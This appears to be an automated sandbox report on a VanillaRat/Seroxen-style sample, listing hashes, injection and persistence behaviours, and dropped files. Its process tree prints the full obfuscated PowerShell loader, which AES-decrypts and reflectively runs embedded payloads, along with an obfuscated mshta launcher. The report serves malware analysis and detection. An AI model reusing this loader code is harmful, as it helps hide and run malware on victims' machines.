e590d9d061fc38da277121abaf50c5d2432fe4cab8eb4fc347687d04c188f34b

Analysis

max time kernel
38s
max time network
41s
platform
windows10-2004_x64
resource
win10v2004-20231023-en
resource tags

arch:x64arch:x86image:win10v2004-20231023-enlocale:en-usos:windows10-2004-x64system
submitted
01-11-2023 11:02

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General

Target

VanillaRat/Start.bat
Size

3KB
MD5

78d817fe7349683c207f17c0b4774484
SHA1

9dc66330a6aef8e8678b45ac3fa79091f2f50ccc
SHA256

b7ddf09d72ad1671da5c5ad5bf0e5d22ac6f4fee8cedd04f188a9e109e8b86f6
SHA512

77e0bdc2d0faa24d4f4ff42059f8b002b7214300fd7f44b07d76fb042b111a1ad85e2b32e1032942aaf29bed11efe17a73e623cafd777ec21e603118e70d2699

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

HandlerInstaller.bat.exe

description pid process target process

PID 3340 created 608 3340 HandlerInstaller.bat.exe winlogon.exe

description	pid	process	target process
PID 3340 created 608	3340	HandlerInstaller.bat.exe	winlogon.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

$sxr-mshta.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-984744499-3605095035-265325720-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Executes dropped EXE 2 IoCs

Processes:

HandlerInstaller.bat.exe$sxr-mshta.exe

pid process

3340 HandlerInstaller.bat.exe
112 $sxr-mshta.exe

pid	process
3340	HandlerInstaller.bat.exe
112	$sxr-mshta.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

HandlerInstaller.bat.exe

description	pid	process	target process
PID 3340 set thread context of 4480	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 set thread context of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe

Drops file in Windows directory 6 IoCs

Processes:

HandlerInstaller.bat.exe

description	ioc	process
File created	C:\Windows\$sxr-powershell.exe	HandlerInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	HandlerInstaller.bat.exe
File created	C:\Windows\$sxr-mshta.exe	HandlerInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	HandlerInstaller.bat.exe
File created	C:\Windows\$sxr-cmd.exe	HandlerInstaller.bat.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	HandlerInstaller.bat.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Modifies registry class 1 IoCs

Processes:

$sxr-mshta.exe

description ioc process

Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ $sxr-mshta.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

Processes:

powershell.exeHandlerInstaller.bat.exedllhost.exe

pid	process
4844	powershell.exe
4844	powershell.exe
3340	HandlerInstaller.bat.exe
3340	HandlerInstaller.bat.exe
3340	HandlerInstaller.bat.exe
3340	HandlerInstaller.bat.exe
4500	dllhost.exe
4500	dllhost.exe
4500	dllhost.exe
4500	dllhost.exe
3340	HandlerInstaller.bat.exe
3340	HandlerInstaller.bat.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exeHandlerInstaller.bat.exedllhost.exe

description	pid	process
Token: SeDebugPrivilege	4844	powershell.exe
Token: SeDebugPrivilege	3340	HandlerInstaller.bat.exe
Token: SeDebugPrivilege	3340	HandlerInstaller.bat.exe
Token: SeDebugPrivilege	4500	dllhost.exe

Suspicious use of WriteProcessMemory 25 IoCs

Processes:

cmd.exepowershell.execmd.exeHandlerInstaller.bat.exe

description	pid	process	target process
PID 2776 wrote to memory of 1136	2776	cmd.exe	VanillaRat.exe
PID 2776 wrote to memory of 1136	2776	cmd.exe	VanillaRat.exe
PID 2776 wrote to memory of 1136	2776	cmd.exe	VanillaRat.exe
PID 2776 wrote to memory of 4844	2776	cmd.exe	powershell.exe
PID 2776 wrote to memory of 4844	2776	cmd.exe	powershell.exe
PID 4844 wrote to memory of 3344	4844	powershell.exe	cmd.exe
PID 4844 wrote to memory of 3344	4844	powershell.exe	cmd.exe
PID 3344 wrote to memory of 3340	3344	cmd.exe	HandlerInstaller.bat.exe
PID 3344 wrote to memory of 3340	3344	cmd.exe	HandlerInstaller.bat.exe
PID 3340 wrote to memory of 4480	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4480	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4480	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4480	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4480	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4480	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4480	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe
PID 3340 wrote to memory of 4500	3340	HandlerInstaller.bat.exe	dllhost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:608
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{530cdb18-0153-4c86-932a-67da7ab8d141}
  2⤵
  PID:4480

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\VanillaRat\Start.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Users\Admin\AppData\Local\Temp\VanillaRat\Main\VanillaRat.exe
  Main\\VanillaRat.exe
  2⤵
  PID:1136
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -command "& {Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\VanillaRat\\\Handlers\\HandlerInstaller.bat' -WindowStyle Hidden -Wait}"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4844
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe
      "HandlerInstaller.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function VROas($YFEKm){ $EnJnq=[System.Security.Cryptography.Aes]::Create(); $EnJnq.Mode=[System.Security.Cryptography.CipherMode]::CBC; $EnJnq.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $EnJnq.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+mgHoM3Dd8LE9FhelB1+E49NCwweh3qyJF1GxhCe+k0='); $EnJnq.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wwm30jhzkHC4/5SnlEDZGA=='); $pWYkp=$EnJnq.CreateDecryptor(); $return_var=$pWYkp.TransformFinalBlock($YFEKm, 0, $YFEKm.Length); $pWYkp.Dispose(); $EnJnq.Dispose(); $return_var;}function XcsVC($YFEKm){ $zQqyq=New-Object System.IO.MemoryStream(,$YFEKm); $emglC=New-Object System.IO.MemoryStream; $RGlqr=New-Object System.IO.Compression.GZipStream($zQqyq, [IO.Compression.CompressionMode]::Decompress); $RGlqr.CopyTo($emglC); $RGlqr.Dispose(); $zQqyq.Dispose(); $emglC.Dispose(); $emglC.ToArray();}function dnTmn($YFEKm,$CaEDQ){ $NmIfY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$YFEKm); $bqkrl=$NmIfY.EntryPoint; $bqkrl.Invoke($null, $CaEDQ);}$lpRaC=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat').Split([Environment]::NewLine);foreach ($aneut in $lpRaC) { if ($aneut.StartsWith('SEROXEN')) { $zZPSp=$aneut.Substring(7); break; }}$jGZnr=[string[]]$zZPSp.Split('\');$yHwYZ=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[0])));$QcHAi=XcsVC (VROas ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($jGZnr[1])));dnTmn $QcHAi (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));dnTmn $yHwYZ (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      Suspicious use of SetThreadContext
      Drops file in Windows directory
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3340
    - - C:\Windows\SysWOW64\dllhost.exe
        
        C:\Windows\SysWOW64\dllhost.exe /Processid:{b562c91e-0607-4472-84bd-d9a885919306}
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4500

C:\Windows\$sxr-mshta.exe
C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-MkCCpgMZesGBgQjTHDjR4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
1⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
PID:112
- C:\Windows\$sxr-cmd.exe
  "C:\Windows\$sxr-cmd.exe" /c %$sxr-MkCCpgMZesGBgQjTHDjR4312:&#<?=%
  2⤵
  PID:692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\VanillaRat\Handlers\HandlerInstaller.bat.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_khy4anj3.5p5.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\$sxr-cmd.exe

Filesize
283KB

MD5
8a2122e8162dbef04694b9c3e0b6cdee

SHA1
f1efb0fddc156e4c61c5f78a54700e4e7984d55d

SHA256
b99d61d874728edc0918ca0eb10eab93d381e7367e377406e65963366c874450

SHA512
99e784141193275d4364ba1b8762b07cc150ca3cb7e9aa1d4386ba1fa87e073d0500e61572f8d1b071f2faa2a51bb123e12d9d07054b59a1a2fd768ad9f24397

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-mshta.exe

Filesize
14KB

MD5
0b4340ed812dc82ce636c00fa5c9bef2

SHA1
51c97ebe601ef079b16bcd87af827b0be5283d96

SHA256
dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

SHA512
d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

Download Submit
C:\Windows\$sxr-powershell.exe

Filesize
442KB

MD5
04029e121a0cfa5991749937dd22a1d9

SHA1
f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

SHA256
9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

SHA512
6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

Download Submit
memory/1136-16-0x0000000005140000-0x00000000051D2000-memory.dmp

Filesize
584KB

Download
memory/1136-43-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/1136-17-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/1136-0-0x0000000075290000-0x0000000075A40000-memory.dmp

Filesize
7.7MB

Download
memory/1136-19-0x0000000005080000-0x000000000508A000-memory.dmp

Filesize
40KB

Download
memory/1136-20-0x0000000006A10000-0x0000000006AF0000-memory.dmp

Filesize
896KB

Download
memory/1136-21-0x0000000006450000-0x00000000065F6000-memory.dmp

Filesize
1.6MB

Download
memory/1136-22-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/1136-23-0x0000000075290000-0x0000000075A40000-memory.dmp

Filesize
7.7MB

Download
memory/1136-5-0x00000000056F0000-0x0000000005C94000-memory.dmp

Filesize
5.6MB

Download
memory/1136-1-0x00000000005E0000-0x00000000007A8000-memory.dmp

Filesize
1.8MB

Download
memory/1136-45-0x0000000005110000-0x0000000005120000-memory.dmp

Filesize
64KB

Download
memory/3340-56-0x000001621B550000-0x000001621B5A6000-memory.dmp

Filesize
344KB

Download
memory/3340-54-0x00007FFFE6C10000-0x00007FFFE6C29000-memory.dmp

Filesize
100KB

Download
memory/3340-40-0x0000016200130000-0x0000016200140000-memory.dmp

Filesize
64KB

Download
memory/3340-61-0x000001621A740000-0x000001621A74A000-memory.dmp

Filesize
40KB

Download
memory/3340-39-0x00007FFFDD750000-0x00007FFFDE211000-memory.dmp

Filesize
10.8MB

Download
memory/3340-59-0x00007FFFFBF30000-0x00007FFFFC125000-memory.dmp

Filesize
2.0MB

Download
memory/3340-58-0x00000162000B0000-0x00000162000D2000-memory.dmp

Filesize
136KB

Download
memory/3340-46-0x00007FFFDD750000-0x00007FFFDE211000-memory.dmp

Filesize
10.8MB

Download
memory/3340-47-0x0000016200130000-0x0000016200140000-memory.dmp

Filesize
64KB

Download
memory/3340-48-0x0000016200130000-0x0000016200140000-memory.dmp

Filesize
64KB

Download
memory/3340-49-0x0000016200080000-0x00000162000A4000-memory.dmp

Filesize
144KB

Download
memory/3340-50-0x00007FFFFBF30000-0x00007FFFFC125000-memory.dmp

Filesize
2.0MB

Download
memory/3340-51-0x00007FFFFB6A0000-0x00007FFFFB75E000-memory.dmp

Filesize
760KB

Download
memory/3340-52-0x000001621AA50000-0x000001621B49E000-memory.dmp

Filesize
10.3MB

Download
memory/3340-57-0x000001621B5B0000-0x000001621B608000-memory.dmp

Filesize
352KB

Download
memory/3340-41-0x0000016200130000-0x0000016200140000-memory.dmp

Filesize
64KB

Download
memory/3340-55-0x000001621B4A0000-0x000001621B544000-memory.dmp

Filesize
656KB

Download
memory/4480-63-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4480-62-0x0000000140000000-0x0000000140004000-memory.dmp

Filesize
16KB

Download
memory/4500-66-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4500-64-0x0000000000400000-0x0000000000406000-memory.dmp

Filesize
24KB

Download
memory/4844-44-0x000001D6B8730000-0x000001D6B8740000-memory.dmp

Filesize
64KB

Download
memory/4844-42-0x00007FFFDD750000-0x00007FFFDE211000-memory.dmp

Filesize
10.8MB

Download
memory/4844-18-0x000001D6B8730000-0x000001D6B8740000-memory.dmp

Filesize
64KB

Download
memory/4844-29-0x000001D6B8730000-0x000001D6B8740000-memory.dmp

Filesize
64KB

Download
memory/4844-28-0x000001D6B8730000-0x000001D6B8740000-memory.dmp

Filesize
64KB

Download
memory/4844-15-0x00007FFFDD750000-0x00007FFFDE211000-memory.dmp

Filesize
10.8MB

Download
memory/4844-4-0x000001D6D4630000-0x000001D6D4652000-memory.dmp

Filesize
136KB

Download
memory/4844-3-0x000001D6B8730000-0x000001D6B8740000-memory.dmp

Filesize
64KB

Download
memory/4844-2-0x000001D6B8730000-0x000001D6B8740000-memory.dmp

Filesize
64KB

Download